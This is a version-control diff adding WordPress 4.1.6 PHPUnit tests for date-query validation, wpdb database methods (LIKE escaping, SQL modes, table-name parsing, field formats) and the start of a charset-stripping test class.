+		foreach ( $days_of_week as $day_of_week ) {
+			$this->assertFalse( $this->q->validate_date_values( array( 'dayofweek' => $day_of_week ) ) );
+		}
+	}
+
+	/**
+	 * @ticket 28063
+	 * @expectedIncorrectUsage WP_Date_Query
+	 */
+	public function test_validate_date_values_day_of_week_iso() {
+		// Valid values.
+		$days_of_week = range( 1, 7 );
+		foreach ( $days_of_week as $day_of_week ) {
+			$this->assertTrue( $this->q->validate_date_values( array( 'dayofweek_iso' => $day_of_week ) ) );
+		}
+
+		// Invalid values.
+		$days_of_week = array( -1, 0, 8 );
+		foreach ( $days_of_week as $day_of_week ) {
+			$this->assertFalse( $this->q->validate_date_values( array( 'dayofweek_iso' => $day_of_week ) ) );
+		}
+	}
+
+	/**
+	 * @ticket 25834
+	 * @expectedIncorrectUsage WP_Date_Query
+	 */
+	public function test_validate_date_values_day_of_year() {
+		// Valid values.
+		$days_of_year = range( 1, 366 );
+		foreach ( $days_of_year as $day_of_year ) {
+			$this->assertTrue( $this->q->validate_date_values( array( 'dayofyear' => $day_of_year ) ) );
+		}
+
+		// Invalid values.
+		$days_of_year = array( -1, 0, 367 );
+		foreach ( $days_of_year as $day_of_year ) {
+			$this->assertFalse( @$this->q->validate_date_values( array( 'dayofyear' => $day_of_year ) ) );
+		}
+	}
+
+	/**
+	 * @ticket 31001
+	 */
+	public function test_validate_date_values_should_process_array_value_for_year() {
+		$p1 = $this->factory->post->create( array( 'post_date' => '2015-01-12' ) );
+		$p2 = $this->factory->post->create( array( 'post_date' => '2013-01-12' ) );
+
+		$q = new WP_Query( array(
+			'date_query' => array(
+				array(
+					'compare' => 'BETWEEN',
+					'year' => array( 2012, 2014 ),
+				),
+			),
+			'fields' => 'ids',
+		) );
+
+		$this->assertEquals( array( $p2 ), $q->posts );
+	}
+
+	/**
+	 * @ticket 31001
+	 */
+	public function test_validate_date_values_should_process_array_value_for_day() {
+		$p1 = $this->factory->post->create( array( 'post_date' => '2015-01-12' ) );
+		$p2 = $this->factory->post->create( array( 'post_date' => '2015-01-10' ) );
+
+		$q = new WP_Query( array(
+			'date_query' => array(
+				array(
+					'compare' => 'BETWEEN',
+					'day' => array( 9, 11 ),
+				),
+			),
+			'fields' => 'ids',
+		) );
+
+		$this->assertEquals( array( $p2 ), $q->posts );
+	}
+
+	/**
+	 * @ticket 31001
+	 * @expectedIncorrectUsage WP_Date_Query
+	 */
+	public function test_validate_date_values_should_process_array_value_for_day_when_values_are_invalid() {
+		$p1 = $this->factory->post->create( array( 'post_date' => '2015-01-12' ) );
+		$p2 = $this->factory->post->create( array( 'post_date' => '2015-01-10' ) );
+
+		$q = new WP_Query( array(
+			'date_query' => array(
+				array(
+					'compare' => 'BETWEEN',
+					'day' => array( 9, 32 ),
+				),
+			),
+			'fields' => 'ids',
+		) );
+
+		// MySQL ignores the invalid clause.
+		$this->assertEquals( array( $p1, $p2 ), $q->posts );
+	}
+
+	/** Helpers **********************************************************/
+
+	public function date_query_valid_columns_callback( $columns ) {
+		$columns[] = 'my_custom_column';
+		return $columns;
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/db.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/db.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/db.php	(revision 33402)
@@ -0,0 +1,801 @@
+<?php
+
+/**
+ * Test WPDB methods
+ *
+ * @group wpdb
+ */
+class Tests_DB extends WP_UnitTestCase {
+
+	/**
+	 * Query log
+	 * @var array
+	 */
+	protected $_queries = array();
+
+	/**
+	 * Our special WPDB
+	 * @var resource
+	 */
+	protected static $_wpdb;
+
+	public static function setUpBeforeClass() {
+		self::$_wpdb = new wpdb_exposed_methods_for_testing();
+	}
+
+	/**
+	 * Set up the test fixture
+	 */
+	public function setUp() {
+		parent::setUp();
+		$this->_queries = array();
+		add_filter( 'query', array( $this, 'query_filter' ) );
+	}
+
+	/**
+	 * Tear down the test fixture
+	 */
+	public function tearDown() {
+		remove_filter( 'query', array( $this, 'query_filter' ) );
+		parent::tearDown();
+	}
+
+	/**
+	 * Log each query
+	 * @param string $sql
+	 * @return string
+	 */
+	public function query_filter( $sql ) {
+		$this->_queries[] = $sql;
+		return $sql;
+	}
+
+	/**
+	 * Test that WPDB will reconnect when the DB link dies
+	 * @ticket 5932
+	 */
+	public function test_db_reconnect() {
+		global $wpdb;
+
+		$var = $wpdb->get_var( "SELECT ID FROM $wpdb->users LIMIT 1" );
+		$this->assertGreaterThan( 0, $var );
+
+		if ( $wpdb->use_mysqli ) {
+			mysqli_close( $wpdb->dbh );
+		} else {
+			mysql_close( $wpdb->dbh );
+		}
+		unset( $wpdb->dbh );
+
+		$var = $wpdb->get_var( "SELECT ID FROM $wpdb->users LIMIT 1" );
+		$this->assertGreaterThan( 0, $var );
+	}
+
+	/**
+	 * Test that floats formatted as "0,700" get sanitized properly by wpdb
+	 * @global mixed $wpdb
+	 *
+	 * @ticket 19861
+	 */
+	public function test_locale_floats() {
+		global $wpdb;
+
+		// Save the current locale settings
+		$current_locales = explode( ';', setlocale( LC_ALL, 0 ) );
+
+		// Switch to Russian
+		$flag = setlocale( LC_ALL, 'ru_RU.utf8', 'rus', 'fr_FR.utf8', 'fr_FR', 'de_DE.utf8', 'de_DE', 'es_ES.utf8', 'es_ES' );
+		if ( false === $flag )
+			$this->markTestSkipped( 'No European languages available for testing' );
+
+		// Try an update query
+		$wpdb->suppress_errors( true );
+		$wpdb->update(
+			'test_table',
+			array( 'float_column' => 0.7 ),
+			array( 'meta_id' => 5 ),
+			array( '%f' ),
+			array( '%d' )
+		);
+		$wpdb->suppress_errors( false );
+
+		// Ensure the float isn't 0,700
+		$this->assertContains( '0.700', array_pop( $this->_queries ) );
+
+		// Try a prepare
+		$sql = $wpdb->prepare( "UPDATE test_table SET float_column = %f AND meta_id = %d", 0.7, 5 );
+		$this->assertContains( '0.700', $sql );
+
+		// Restore locale settings
+		foreach ( $current_locales as $locale_setting ) {
+			if ( false !== strpos( $locale_setting, '=' ) ) {
+				list( $category, $locale ) = explode( '=', $locale_setting );
+				if ( defined( $category ) )
+					setlocale( constant( $category ), $locale );
+			} else {
+				setlocale( LC_ALL, $locale_setting );
+			}
+		}
+	}
+
+	/**
+	 * @ticket 10041
+	 */
+	function test_esc_like() {
+		global $wpdb;
+
+		$inputs = array(
+			'howdy%', //Single Percent
+			'howdy_', //Single Underscore
+			'howdy\\', //Single slash
+			'howdy\\howdy%howdy_', //The works
+			'howdy\'"[[]*#[^howdy]!+)(*&$#@!~|}{=--`/.,<>?', //Plain text
+		);
+		$expected = array(
+			'howdy\\%',
+			'howdy\\_',
+			'howdy\\\\',
+			'howdy\\\\howdy\\%howdy\\_',
+			'howdy\'"[[]*#[^howdy]!+)(*&$#@!~|}{=--`/.,<>?',
+		);
+
+		foreach ($inputs as $key => $input) {
+			$this->assertEquals($expected[$key], $wpdb->esc_like($input));
+		}
+	}
+
+	/**
+	 * Test LIKE Queries
+	 *
+	 * Make sure $wpdb is fully compatible with esc_like() by testing the identity of various strings.
+	 * When escaped properly, a string literal is always LIKE itself (1)
+	 * and never LIKE any other string literal (0) no matter how crazy the SQL looks.
+	 *
+	 * @ticket 10041
+	 * @dataProvider data_like_query
+	 * @param $data string The haystack, raw.
+	 * @param $like string The like phrase, raw.
+         * @param $result string The expected comparison result; '1' = true, '0' = false
+	 */
+	function test_like_query( $data, $like, $result ) {
+		global $wpdb;
+		return $this->assertEquals( $result, $wpdb->get_var( $wpdb->prepare( "SELECT %s LIKE %s", $data, $wpdb->esc_like( $like ) ) ) );
+	}
+
+	function data_like_query() {
+		return array(
+			array(
+				'aaa',
+				'aaa',
+				'1',
+			),
+			array(
+				'a\\aa', // SELECT 'a\\aa'  # This represents a\aa in both languages.
+				'a\\aa', // LIKE 'a\\\\aa'
+				'1',
+			),
+			array(
+				'a%aa',
+				'a%aa',
+				'1',
+			),
+			array(
+				'aaaa',
+				'a%aa',
+				'0',
+			),
+			array(
+				'a\\%aa', // SELECT 'a\\%aa'
+				'a\\%aa', // LIKE 'a\\\\\\%aa' # The PHP literal would be "LIKE 'a\\\\\\\\\\\\%aa'".  This is why we need reliable escape functions!
+				'1',
+			),
+			array(
+				'a%aa',
+				'a\\%aa',
+				'0',
+			),
+			array(
+				'a\\%aa',
+				'a%aa',
+				'0',
+			),
+			array(
+				'a_aa',
+				'a_aa',
+				'1',
+			),
+			array(
+				'aaaa',
+				'a_aa',
+				'0',
+			),
+			array(
+				'howdy\'"[[]*#[^howdy]!+)(*&$#@!~|}{=--`/.,<>?',
+				'howdy\'"[[]*#[^howdy]!+)(*&$#@!~|}{=--`/.,<>?',
+				'1',
+			),
+		);
+	}
+
+	/**
+	 * @ticket 18510
+	 */
+	function test_wpdb_supposedly_protected_properties() {
+		global $wpdb;
+
+		$this->assertNotEmpty( $wpdb->dbh );
+		$dbh = $wpdb->dbh;
+		$this->assertNotEmpty( $dbh );
+		$this->assertTrue( isset( $wpdb->dbh ) ); // Test __isset()
+		unset( $wpdb->dbh );
+		$this->assertTrue( empty( $wpdb->dbh ) );
+		$wpdb->dbh = $dbh;
+		$this->assertNotEmpty( $wpdb->dbh );
+	}
+
+	/**
+	 * @ticket 21212
+	 */
+	function test_wpdb_actually_protected_properties() {
+		global $wpdb;
+
+		$new_meta = "HAHA I HOPE THIS DOESN'T WORK";
+
+		$col_meta = $wpdb->col_meta;
+		$wpdb->col_meta = $new_meta;
+
+		$this->assertNotEquals( $col_meta, $new_meta );
+		$this->assertEquals( $col_meta, $wpdb->col_meta );
+	}
+
+	/**
+	 * @ticket 18510
+	 */
+	function test_wpdb_nonexistent_properties() {
+		global $wpdb;
+
+		$this->assertTrue( empty( $wpdb->nonexistent_property ) );
+		$wpdb->nonexistent_property = true;
+		$this->assertTrue( $wpdb->nonexistent_property );
+		$this->assertTrue( isset( $wpdb->nonexistent_property ) );
+		unset( $wpdb->nonexistent_property );
+		$this->assertTrue( empty( $wpdb->nonexistent_property ) );
+	}
+
+	/**
+	 * Test that an escaped %%f is not altered
+	 * @ticket 19861
+	 */
+	public function test_double_escaped_placeholders() {
+		global $wpdb;
+		$sql = $wpdb->prepare( "UPDATE test_table SET string_column = '%%f is a float, %%d is an int %d, %%s is a string', field = %s", 3, '4' );
+		$this->assertEquals( "UPDATE test_table SET string_column = '%f is a float, %d is an int 3, %s is a string', field = '4'", $sql );
+	}
+
+	/**
+	 * Test that SQL modes are set correctly
+	 * @ticket 26847
+	 */
+	function test_set_sql_mode() {
+		global $wpdb;
+
+		$current_modes = $wpdb->get_var( 'SELECT @@SESSION.sql_mode;' );
+
+		$new_modes = array( 'IGNORE_SPACE', 'NO_AUTO_CREATE_USER' );
+
+		$wpdb->set_sql_mode( $new_modes );
+
+		$check_new_modes = $wpdb->get_var( 'SELECT @@SESSION.sql_mode;' );
+		$this->assertEqualSets( $new_modes, explode( ',', $check_new_modes ) );
+
+		$wpdb->set_sql_mode( explode( ',', $current_modes ) );
+	}
+
+	/**
+	 * Test that incompatible SQL modes are blocked
+	 * @ticket 26847
+	 */
+	function test_set_incompatible_sql_mode() {
+		global $wpdb;
+
+		$current_modes = $wpdb->get_var( 'SELECT @@SESSION.sql_mode;' );
+
+		$new_modes = array( 'IGNORE_SPACE', 'NO_ZERO_DATE', 'NO_AUTO_CREATE_USER' );
+		$wpdb->set_sql_mode( $new_modes );
+		$check_new_modes = $wpdb->get_var( 'SELECT @@SESSION.sql_mode;' );
+		$this->assertNotContains( 'NO_ZERO_DATE', explode( ',', $check_new_modes ) );
+
+		$wpdb->set_sql_mode( explode( ',', $current_modes ) );
+	}
+
+	/**
+	 * Test that incompatible SQL modes can be changed
+	 * @ticket 26847
+	 */
+	function test_set_allowed_incompatible_sql_mode() {
+		global $wpdb;
+
+		$current_modes = $wpdb->get_var( 'SELECT @@SESSION.sql_mode;' );
+
+		$new_modes = array( 'IGNORE_SPACE', 'ONLY_FULL_GROUP_BY', 'NO_AUTO_CREATE_USER' );
+
+		add_filter( 'incompatible_sql_modes', array( $this, 'filter_allowed_incompatible_sql_mode' ), 1, 1 );
+		$wpdb->set_sql_mode( $new_modes );
+		remove_filter( 'incompatible_sql_modes', array( $this, 'filter_allowed_incompatible_sql_mode' ), 1 );
+
+		$check_new_modes = $wpdb->get_var( 'SELECT @@SESSION.sql_mode;' );
+		$this->assertContains( 'ONLY_FULL_GROUP_BY', explode( ',', $check_new_modes ) );
+
+		$wpdb->set_sql_mode( explode( ',', $current_modes ) );
+	}
+
+	public function filter_allowed_incompatible_sql_mode( $modes ) {
+		$pos = array_search( 'ONLY_FULL_GROUP_BY', $modes );
+		$this->assertGreaterThanOrEqual( 0, $pos );
+
+		if ( FALSE === $pos ) {
+			return $modes;
+		}
+
+		unset( $modes[ $pos ] );
+		return $modes;
+	}
+
+	/**
+	 * @ticket 25604
+	 * @expectedIncorrectUsage wpdb::prepare
+	 */
+	function test_prepare_without_arguments() {
+		global $wpdb;
+		$id = 0;
+		// This, obviously, is an incorrect prepare.
+		$prepared = $wpdb->prepare( "SELECT * FROM $wpdb->users WHERE id = $id", $id );
+		$this->assertEquals( "SELECT * FROM $wpdb->users WHERE id = 0", $prepared );
+	}
+
+	function test_db_version() {
+		global $wpdb;
+
+		$this->assertTrue( version_compare( $wpdb->db_version(), '5.0', '>=' ) );
+	}
+
+	function test_get_caller() {
+		global $wpdb;
+		$str = $wpdb->get_caller();
+		$calls = explode( ', ', $str );
+		$called = join( '->', array( __CLASS__, __FUNCTION__ ) );
+		$this->assertEquals( $called, end( $calls ) );
+	}
+
+	function test_has_cap() {
+		global $wpdb;
+		$this->assertTrue( $wpdb->has_cap( 'collation' ) );
+		$this->assertTrue( $wpdb->has_cap( 'group_concat' ) );
+		$this->assertTrue( $wpdb->has_cap( 'subqueries' ) );
+		$this->assertTrue( $wpdb->has_cap( 'COLLATION' ) );
+		$this->assertTrue( $wpdb->has_cap( 'GROUP_CONCAT' ) );
+		$this->assertTrue( $wpdb->has_cap( 'SUBQUERIES' ) );
+		$this->assertEquals(
+			version_compare( $wpdb->db_version(), '5.0.7', '>=' ),
+			$wpdb->has_cap( 'set_charset' )
+		);
+		$this->assertEquals(
+			version_compare( $wpdb->db_version(), '5.0.7', '>=' ),
+			$wpdb->has_cap( 'SET_CHARSET' )
+		);
+	}
+
+	/**
+	 * @expectedDeprecated supports_collation
+	 */
+	function test_supports_collation() {
+		global $wpdb;
+		$this->assertTrue( $wpdb->supports_collation() );
+	}
+
+	function test_check_database_version() {
+		global $wpdb;
+		$this->assertEmpty( $wpdb->check_database_version() );
+	}
+
+	/**
+	 * @expectedException WPDieException
+	 */
+	function test_bail() {
+		global $wpdb;
+		$wpdb->bail( 'Database is dead.' );
+	}
+
+	function test_timers() {
+		global $wpdb;
+
+		$wpdb->timer_start();
+		usleep( 5 );
+		$stop = $wpdb->timer_stop();
+
+		$this->assertNotEquals( $wpdb->time_start, $stop );
+		$this->assertGreaterThan( $stop, $wpdb->time_start );
+	}
+
+	function test_get_col_info() {
+		global $wpdb;
+
+		$wpdb->get_results( "SELECT ID FROM $wpdb->users" );
+
+		$this->assertEquals( array( 'ID' ), $wpdb->get_col_info() );
+		$this->assertEquals( array( $wpdb->users ), $wpdb->get_col_info( 'table' ) );
+		$this->assertEquals( $wpdb->users, $wpdb->get_col_info( 'table', 0 ) );
+	}
+
+	function test_query_and_delete() {
+		global $wpdb;
+		$rows = $wpdb->query( "INSERT INTO $wpdb->users (display_name) VALUES ('Walter Sobchak')" );
+		$this->assertEquals( 1, $rows );
+		$this->assertNotEmpty( $wpdb->insert_id );
+		$d_rows = $wpdb->delete( $wpdb->users, array( 'ID' => $wpdb->insert_id ) );
+		$this->assertEquals( 1, $d_rows );
+	}
+
+	function test_get_row() {
+		global $wpdb;
+		$rows = $wpdb->query( "INSERT INTO $wpdb->users (display_name) VALUES ('Walter Sobchak')" );
+		$this->assertEquals( 1, $rows );
+		$this->assertNotEmpty( $wpdb->insert_id );
+
+		$row = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->users WHERE ID = %d", $wpdb->insert_id ) );
+		$this->assertInternalType( 'object', $row );
+		$this->assertEquals( 'Walter Sobchak', $row->display_name );
+	}
+
+	function test_replace() {
+		global $wpdb;
+		$rows1 = $wpdb->insert( $wpdb->users, array( 'display_name' => 'Walter Sobchak' ) );
+		$this->assertEquals( 1, $rows1 );
+		$this->assertNotEmpty( $wpdb->insert_id );
+		$last = $wpdb->insert_id;
+
+		$rows2 = $wpdb->replace( $wpdb->users, array( 'ID' => $last, 'display_name' => 'Walter Replace Sobchak' ) );
+		$this->assertEquals( 2, $rows2 );
+		$this->assertNotEmpty( $wpdb->insert_id );
+
+		$this->assertEquals( $last, $wpdb->insert_id );
+
+		$row = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->users WHERE ID = %d", $last ) );
+		$this->assertEquals( 'Walter Replace Sobchak', $row->display_name );
+	}
+
+	/**
+	 * wpdb::update() requires a WHERE condition.
+	 *
+	 * @ticket 26106
+	 */
+	function test_empty_where_on_update() {
+		global $wpdb;
+		$suppress = $wpdb->suppress_errors( true );
+		$wpdb->update( $wpdb->posts, array( 'post_name' => 'burrito' ), array() );
+
+		$expected1 = "UPDATE `{$wpdb->posts}` SET `post_name` = 'burrito' WHERE ";
+		$this->assertNotEmpty( $wpdb->last_error );
+		$this->assertEquals( $expected1, $wpdb->last_query );
+
+		$wpdb->update( $wpdb->posts, array( 'post_name' => 'burrito' ), array( 'post_status' => 'taco' ) );
+
+		$expected2 = "UPDATE `{$wpdb->posts}` SET `post_name` = 'burrito' WHERE `post_status` = 'taco'";
+		$this->assertEmpty( $wpdb->last_error );
+		$this->assertEquals( $expected2, $wpdb->last_query );
+		$wpdb->suppress_errors( $suppress );
+	}
+
+	/**
+	 * mysqli_ incorrect flush and further sync issues.
+	 *
+	 * @ticket 28155
+	 */
+	function test_mysqli_flush_sync() {
+		global $wpdb;
+		if ( ! $wpdb->use_mysqli ) {
+			$this->markTestSkipped( 'mysqli not being used' );
+		}
+
+		$suppress = $wpdb->suppress_errors( true );
+
+		$wpdb->query( 'DROP PROCEDURE IF EXISTS `test_mysqli_flush_sync_procedure`' );
+		$wpdb->query( 'CREATE PROCEDURE `test_mysqli_flush_sync_procedure`() BEGIN
+			SELECT ID FROM `' . $wpdb->posts . '` LIMIT 1;
+		END' );
+
+		if ( count( $wpdb->get_results( 'SHOW CREATE PROCEDURE `test_mysqli_flush_sync_procedure`' ) ) < 1 ) {
+			$wpdb->suppress_errors( $suppress );
+			$this->markTestSkipped( 'procedure could not be created (missing privileges?)' );
+		}
+
+		$post_id = $this->factory->post->create();
+
+		$this->assertNotEmpty( $wpdb->get_results( 'CALL `test_mysqli_flush_sync_procedure`' ) );
+		$this->assertNotEmpty( $wpdb->get_results( "SELECT ID FROM `{$wpdb->posts}` LIMIT 1" ) );
+
+		// DROP PROCEDURE will cause a COMMIT, so we delete the post manually before that happens.
+		wp_delete_post( $post_id, true );
+
+		$wpdb->query( 'DROP PROCEDURE IF EXISTS `test_mysqli_flush_sync_procedure`' );
+		$wpdb->suppress_errors( $suppress );
+	}
+
+	/**
+	 * @ticket 21212
+	 */
+	function data_get_table_from_query() {
+		$table = 'a_test_table_name';
+		$db_table = '`a_test_db`.`another_test_table`';
+
+		$queries = array(
+			// Basic
+			"SELECT * FROM $table",
+			"SELECT * FROM `$table`",
+
+			"INSERT $table",
+			"INSERT IGNORE $table",
+			"INSERT IGNORE INTO $table",
+			"INSERT INTO $table",
+			"INSERT LOW_PRIORITY $table",
+			"INSERT DELAYED $table",
+			"INSERT HIGH_PRIORITY $table",
+			"INSERT LOW_PRIORITY IGNORE $table",
+			"INSERT LOW_PRIORITY INTO $table",
+			"INSERT LOW_PRIORITY IGNORE INTO $table",
+
+			"REPLACE $table",
+			"REPLACE INTO $table",
+			"REPLACE LOW_PRIORITY $table",
+			"REPLACE DELAYED $table",
+			"REPLACE LOW_PRIORITY INTO $table",
+
+			"UPDATE LOW_PRIORITY $table",
+			"UPDATE LOW_PRIORITY IGNORE $table",
+
+			"DELETE $table",
+			"DELETE IGNORE $table",
+			"DELETE IGNORE FROM $table",
+			"DELETE FROM $table",
+			"DELETE LOW_PRIORITY $table",
+			"DELETE QUICK $table",
+			"DELETE IGNORE $table",
+			"DELETE LOW_PRIORITY FROM $table",
+
+			// STATUS
+			"SHOW TABLE STATUS LIKE '$table'",
+			"SHOW TABLE STATUS WHERE NAME='$table'",
+
+			"SHOW TABLES LIKE '$table'",
+			"SHOW FULL TABLES LIKE '$table'",
+			"SHOW TABLES WHERE NAME='$table'",
+
+			// Extended
+			"EXPLAIN SELECT * FROM $table",
+			"EXPLAIN EXTENDED SELECT * FROM $table",
+			"EXPLAIN EXTENDED SELECT * FROM `$table`",
+
+			"DESCRIBE $table",
+			"DESC $table",
+			"EXPLAIN $table",
+			"HANDLER $table",
+
+			"LOCK TABLE $table",
+			"LOCK TABLES $table",
+			"UNLOCK TABLE $table",
+
+			"RENAME TABLE $table",
+			"OPTIMIZE TABLE $table",
+			"BACKUP TABLE $table",
+			"RESTORE TABLE $table",
+			"CHECK TABLE $table",
+			"CHECKSUM TABLE $table",
+			"ANALYZE TABLE $table",
+			"REPAIR TABLE $table",
+
+			"TRUNCATE $table",
+			"TRUNCATE TABLE $table",
+
+			"CREATE TABLE $table",
+			"CREATE TEMPORARY TABLE $table",
+			"CREATE TABLE IF NOT EXISTS $table",
+
+			"ALTER TABLE $table",
+			"ALTER IGNORE TABLE $table",
+
+			"DROP TABLE $table",
+			"DROP TABLE IF EXISTS $table",
+
+			"CREATE INDEX foo(bar(20)) ON $table",
+			"CREATE UNIQUE INDEX foo(bar(20)) ON $table",
+			"CREATE FULLTEXT INDEX foo(bar(20)) ON $table",
+			"CREATE SPATIAL INDEX foo(bar(20)) ON $table",
+
+			"DROP INDEX foo ON $table",
+
+			"LOAD DATA INFILE 'wp.txt' INTO TABLE $table",
+			"LOAD DATA LOW_PRIORITY INFILE 'wp.txt' INTO TABLE $table",
+			"LOAD DATA CONCURRENT INFILE 'wp.txt' INTO TABLE $table",
+			"LOAD DATA LOW_PRIORITY LOCAL INFILE 'wp.txt' INTO TABLE $table",
+			"LOAD DATA INFILE 'wp.txt' REPLACE INTO TABLE $table",
+			"LOAD DATA INFILE 'wp.txt' IGNORE INTO TABLE $table",
+
+			"GRANT ALL ON TABLE $table",
+			"REVOKE ALL ON TABLE $table",
+
+			"SHOW COLUMNS FROM $table",
+			"SHOW FULL COLUMNS FROM $table",
+			"SHOW CREATE TABLE $table",
+			"SHOW INDEX FROM $table",
+		);
+
+		$querycount = count( $queries );
+		for ( $ii = 0; $ii < $querycount; $ii++ ) {
+			$db_query = str_replace( $table, $db_table, $queries[ $ii ] );
+			$expected_db_table = str_replace( '`', '', $db_table );
+
+			$queries[ $ii ] = array( $queries[ $ii ], $table );
+			$queries[] = array( $db_query, $expected_db_table );
+		}
+		return $queries;
+	}
+
+	/**
+	 * @dataProvider data_get_table_from_query
+	 * @ticket 21212
+	 */
+	function test_get_table_from_query( $query, $table ) {
+		$this->assertEquals( $table, self::$_wpdb->get_table_from_query( $query ) );
+	}
+
+	function data_get_table_from_query_false() {
+		$table = 'a_test_table_name';
+		return array(
+			array( "LOL THIS ISN'T EVEN A QUERY $table" ),
+		);
+	}
+
+	/**
+	 * @dataProvider data_get_table_from_query_false
+	 * @ticket 21212
+	 */
+	function test_get_table_from_query_false( $query ) {
+		$this->assertFalse( self::$_wpdb->get_table_from_query( $query ) );
+	}
+
+	/**
+	 * @ticket 21212
+	 */
+	function data_process_field_formats() {
+		$core_db_fields_no_format_specified = array(
+			array( 'post_content' => 'foo', 'post_parent' => 0 ),
+			null,
+			array(
+				'post_content' => array( 'value' => 'foo', 'format' => '%s' ),
+				'post_parent' => array( 'value' => 0, 'format' => '%d' ),
+			)
+		);
+
+		$core_db_fields_formats_specified = array(
+			array( 'post_content' => 'foo', 'post_parent' => 0 ),
+			array( '%d', '%s' ), // These override core field_types
+			array(
+				'post_content' => array( 'value' => 'foo', 'format' => '%d' ),
+				'post_parent' => array( 'value' => 0, 'format' => '%s' ),
+			)
+		);
+
+		$misc_fields_no_format_specified = array(
+			array( 'this_is_not_a_core_field' => 'foo', 'this_is_not_either' => 0 ),
+			null,
+			array(
+				'this_is_not_a_core_field' => array( 'value' => 'foo', 'format' => '%s' ),
+				'this_is_not_either' => array( 'value' => 0, 'format' => '%s' ),
+			)
+		);
+
+		$misc_fields_formats_specified = array(
+			array( 'this_is_not_a_core_field' => 0, 'this_is_not_either' => 1.2 ),
+			array( '%d', '%f' ),
+			array(
+				'this_is_not_a_core_field' => array( 'value' => 0, 'format' => '%d' ),
+				'this_is_not_either' => array( 'value' => 1.2, 'format' => '%f' ),
+			)
+		);
+
+		$misc_fields_insufficient_formats_specified = array(
+			array( 'this_is_not_a_core_field' => 0, 'this_is_not_either' => 's', 'nor_this' => 1 ),
+			array( '%d', '%s' ), // The first format is used for the third
+			array(
+				'this_is_not_a_core_field' => array( 'value' => 0, 'format' => '%d' ),
+				'this_is_not_either' => array( 'value' => 's', 'format' => '%s' ),
+				'nor_this' => array( 'value' => 1, 'format' => '%d' ),
+			)
+		);
+
+		$vars = get_defined_vars();
+		// Push the variable name onto the end for assertSame $message
+		foreach ( $vars as $var_name => $var ) {
+			$vars[ $var_name ][] = $var_name;
+		}
+		return array_values( $vars );
+	}
+
+	/**
+	 * @dataProvider data_process_field_formats
+	 * @ticket 21212
+	 */
+	function test_process_field_formats( $data, $format, $expected, $message ) {
+		$actual = self::$_wpdb->process_field_formats( $data, $format );
+		$this->assertSame( $expected, $actual, $message );
+	}
+
+	/**
+	 * @ticket 21212
+	 */
+	function test_process_fields() {
+		global $wpdb;
+
+		if ( $wpdb->charset ) {
+			$expected_charset = $wpdb->charset;
+		} else {
+			$expected_charset = $wpdb->get_col_charset( $wpdb->posts, 'post_content' );
+		}
+
+		if ( ! in_array( $expected_charset, array( 'utf8', 'utf8mb4', 'latin1' ) ) ) {
+			$this->markTestSkipped( "This test only works with utf8, utf8mb4 or latin1 character sets" );
+		}
+
+		$data = array( 'post_content' => '¡foo foo foo!' );
+		$expected = array(
+			'post_content' => array(
+				'value' => '¡foo foo foo!',
+				'format' => '%s',
+				'charset' => $expected_charset,
+				'length' => $wpdb->get_col_length( $wpdb->posts, 'post_content' ),
+			)
+		);
+
+		$this->assertSame( $expected, self::$_wpdb->process_fields( $wpdb->posts, $data, null ) );
+	}
+
+	/**
+	 * @ticket 21212
+	 * @depends test_process_fields
+	 */
+	function test_process_fields_on_nonexistent_table( $data ) {
+		self::$_wpdb->suppress_errors( true );
+		$data = array( 'post_content' => '¡foo foo foo!' );
+		$this->assertFalse( self::$_wpdb->process_fields( 'nonexistent_table', $data, null ) );
+		self::$_wpdb->suppress_errors( false );
+	}
+
+	/**
+	 * @ticket 21212
+	 */
+	function test_pre_get_table_charset_filter() {
+		add_filter( 'pre_get_table_charset', array( $this, 'filter_pre_get_table_charset' ), 10, 2 );
+		$charset = self::$_wpdb->get_table_charset( 'some_table' );
+		remove_filter( 'pre_get_table_charset', array( $this, 'filter_pre_get_table_charset' ), 10 );
+
+		$this->assertEquals( $charset, 'fake_charset' );
+	}
+	function filter_pre_get_table_charset( $charset, $table ) {
+		return 'fake_charset';
+	}
+
+	/**
+	 * @ticket 21212
+	 */
+	function test_pre_get_col_charset_filter() {
+		add_filter( 'pre_get_col_charset', array( $this, 'filter_pre_get_col_charset' ), 10, 3 );
+		$charset = self::$_wpdb->get_col_charset( 'some_table', 'some_col' );
+		remove_filter( 'pre_get_col_charset', array( $this, 'filter_pre_get_col_charset' ), 10 );
+
+		$this->assertEquals( $charset, 'fake_col_charset' );
+	}
+	function filter_pre_get_col_charset( $charset, $table, $column ) {
+		return 'fake_col_charset';
+	}
+}
+
Index: /tags/4.1.6/tests/phpunit/tests/db/charset.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/db/charset.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/db/charset.php	(revision 33402)
@@ -0,0 +1,773 @@
+<?php
+
+require_once dirname( dirname( __FILE__ ) ) . '/db.php';
+
+/**
+ * Test WPDB methods
+ *
+ * @group wpdb
+ * @group security-153
+ */
+class Tests_DB_Charset extends WP_UnitTestCase {
+
+	/**
+	 * Our special WPDB
+	 * @var resource
+	 */
+	protected static $_wpdb;
+
+	public static function setUpBeforeClass() {
+		self::$_wpdb = new wpdb_exposed_methods_for_testing();
+	}
+
+	/**
+	 * @ticket 21212
+	 */
+	function data_strip_invalid_text() {
+		$fields = array(
+			'latin1' => array(
+				// latin1. latin1 never changes.
+				'charset'  => 'latin1',
+				'value'    => "\xf0\x9f\x8e\xb7",
+				'expected' => "\xf0\x9f\x8e\xb7",
+				'length'   => array( 'type' => 'char', 'length' => 100 ),
+			),
+			'latin1_char_length' => array(
+				// latin1. latin1 never changes.
+				'charset'  => 'latin1',
+				'value'    => str_repeat( 'A', 11 ),
+				'expected' => str_repeat( 'A', 10 ),
+				'length'   => array( 'type' => 'char', 'length' => 10 ),
+			),
+			'latin1_byte_length' => array(
+				// latin1. latin1 never changes.
+				'charset'  => 'latin1',
+				'value'    => str_repeat( 'A', 11 ),
+				'expected' => str_repeat( 'A', 10 ),
+				'length'   => array( 'type' => 'byte', 'length' => 10 ),
+			),
+			'ascii' => array(
+				// ascii gets special treatment, make sure it's covered
+				'charset'  => 'ascii',
+				'value'    => 'Hello World',
+				'expected' => 'Hello World',
+				'length'   => array( 'type' => 'char', 'length' => 100 ),
+			),
+			'ascii_char_length' => array(
+				// ascii gets special treatment, make sure it's covered
+				'charset'  => 'ascii',
